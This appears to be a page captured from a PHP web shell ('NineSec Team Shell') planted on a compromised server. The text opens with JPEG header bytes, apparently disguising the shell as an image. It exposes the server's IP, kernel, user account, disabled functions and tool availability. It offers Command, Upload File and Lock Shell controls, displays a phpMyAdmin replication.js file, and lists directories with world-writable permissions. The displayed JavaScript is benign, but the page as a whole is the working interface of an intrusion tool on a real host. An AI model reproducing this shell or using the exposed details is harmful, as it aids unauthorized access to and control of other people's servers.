�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/readytorun/domains/demo.readytorun.it/public_html/about/../phmad/tmp/../js/src/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/readytorun/domains/demo.readytorun.it/public_html/about/../phmad/tmp/../js/src/replication.js
/**
 * @fileoverview    Javascript functions used in server replication page
 * @name            Server Replication
 *
 * @requires    jQuery
 * @requires    jQueryUI
 * @requires    js/functions.js
 */

var randomServerId = Math.floor(Math.random() * 10000000);
var confPrefix = 'server-id=' + randomServerId + '\nlog_bin=mysql-bin\nlog_error=mysql-bin.err\n';

function updateConfig () {
    var confIgnore = 'binlog_ignore_db=';
    var confDo = 'binlog_do_db=';
    var databaseList = '';

    if ($('#db_select option:selected').length === 0) {
        $('#rep').text(confPrefix);
    } else if ($('#db_type option:selected').val() === 'all') {
        $('#db_select option:selected').each(function () {
            databaseList += confIgnore + $(this).val() + '\n';
        });
        $('#rep').text(confPrefix + databaseList);
    } else {
        $('#db_select option:selected').each(function () {
            databaseList += confDo + $(this).val() + '\n';
        });
        $('#rep').text(confPrefix + databaseList);
    }
}

/**
 * Unbind all event handlers before tearing down a page
 */
AJAX.registerTeardown('replication.js', function () {
    $('#db_type').off('change');
    $('#db_select').off('change');
    $('#primary_status_href').off('click');
    $('#primary_replicas_href').off('click');
    $('#replica_status_href').off('click');
    $('#replica_control_href').off('click');
    $('#replica_errormanagement_href').off('click');
    $('#replica_synchronization_href').off('click');
    $('#db_reset_href').off('click');
    $('#db_select_href').off('click');
    $('#reset_replica').off('click');
});

AJAX.registerOnload('replication.js', function () {
    $('#rep').text(confPrefix);
    $('#db_type').on('change', updateConfig);
    $('#db_select').on('change', updateConfig);

    $('#primary_status_href').on('click', function () {
        $('#replication_primary_section').toggle();
    });
    $('#primary_replicas_href').on('click', function () {
        $('#replication_replicas_section').toggle();
    });
    $('#replica_status_href').on('click', function () {
        $('#replication_replica_section').toggle();
    });
    $('#replica_control_href').on('click', function () {
        $('#replica_control_gui').toggle();
    });
    $('#replica_errormanagement_href').on('click', function () {
        $('#replica_errormanagement_gui').toggle();
    });
    $('#replica_synchronization_href').on('click', function () {
        $('#replica_synchronization_gui').toggle();
    });
    $('#db_reset_href').on('click', function () {
        $('#db_select option:selected').prop('selected', false);
        $('#db_select').trigger('change');
    });
    $('#db_select_href').on('click', function () {
        $('#db_select option').prop('selected', true);
        $('#db_select').trigger('change');
    });
    $('#reset_replica').on('click', function (e) {
        e.preventDefault();
        var $anchor = $(this);
        var question = Messages.strResetReplicaWarning;
        $anchor.confirm(question, $anchor.attr('href'), function (url) {
            Functions.ajaxShowMessage();
            AJAX.source = $anchor;
            var params = Functions.getJsConfirmCommonParam({
                'ajax_page_request': true,
                'ajax_request': true
            }, $anchor.getPostData());
            $.post(url, params, AJAX.responseHandler);
        });
    });
    $('#button_generate_password').on('click', function () {
        Functions.suggestPassword(this.form);
    });
    $('#nopass_1').on('click', function () {
        this.form.pma_pw.value = '';
        this.form.pma_pw2.value = '';
        this.checked = true;
    });
    $('#nopass_0').on('click', function () {
        document.getElementById('text_pma_change_pw').focus();
    });
});

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
September 11 2024 5:18:57
readytorun
0755
codemirror
--
September 11 2024 5:18:57
readytorun
0755
database
--
September 11 2024 5:18:57
readytorun
0755
designer
--
September 11 2024 5:18:57
readytorun
0755
jqplot
--
September 11 2024 5:18:57
readytorun
0755
server
--
September 11 2024 5:18:57
readytorun
0755
setup
--
September 11 2024 5:18:57
readytorun
0755
table
--
September 11 2024 5:18:57
readytorun
0755
transformations
--
September 11 2024 5:18:57
readytorun
0755
.htaccess
0.124 KB
November 14 2025 9:26:18
readytorun
0444
ajax.js
33.591 KB
August 28 2023 5:04:10
readytorun
0777
chart.js
18.289 KB
August 28 2023 5:04:10
readytorun
0777
common.js
5.139 KB
August 28 2023 5:04:10
readytorun
0777
config.js
25.606 KB
August 28 2023 5:04:10
readytorun
0777
console.js
56.458 KB
August 28 2023 5:04:10
readytorun
0777
cross_framing_protection.js
0.413 KB
August 28 2023 5:04:10
readytorun
0777
doclinks.js
18.542 KB
August 28 2023 5:04:10
readytorun
0777
drag_drop_import.js
14.255 KB
August 28 2023 5:04:10
readytorun
0777
error_report.js
10.337 KB
August 28 2023 5:04:10
readytorun
0777
export.js
34.371 KB
August 28 2023 5:04:10
readytorun
0777
export_output.js
0.393 KB
August 28 2023 5:04:10
readytorun
0777
functions.js
159.656 KB
August 28 2023 5:04:10
readytorun
0777
gis_data_editor.js
14.37 KB
August 28 2023 5:04:10
readytorun
0777
home.js
5.956 KB
August 28 2023 5:04:10
readytorun
0777
import.js
6.021 KB
August 28 2023 5:04:10
readytorun
0777
indexes.js
29.802 KB
August 28 2023 5:04:10
readytorun
0777
jquery.sortable-table.js
11.024 KB
August 28 2023 5:04:10
readytorun
0777
keyhandler.js
3.263 KB
August 28 2023 5:04:10
readytorun
0777
makegrid.js
96.901 KB
August 28 2023 5:04:10
readytorun
0777
menu_resizer.js
6.426 KB
August 28 2023 5:04:10
readytorun
0777
multi_column_sort.js
1.341 KB
August 28 2023 5:04:10
readytorun
0777
name-conflict-fixes.js
0.043 KB
August 28 2023 5:04:10
readytorun
0777
navigation.js
59.644 KB
August 28 2023 5:04:10
readytorun
0777
normalization.js
28.835 KB
August 28 2023 5:04:10
readytorun
0777
ol.mjs
1.026 KB
August 28 2023 5:04:10
readytorun
0777
page_settings.js
1.664 KB
August 28 2023 5:04:10
readytorun
0777
replication.js
3.714 KB
August 28 2023 5:04:10
readytorun
0777
shortcuts_handler.js
3.724 KB
August 28 2023 5:04:10
readytorun
0777
sql.js
38.943 KB
August 28 2023 5:04:10
readytorun
0777
u2f.js
3.394 KB
August 28 2023 5:04:10
readytorun
0777

NineSec Team - 2022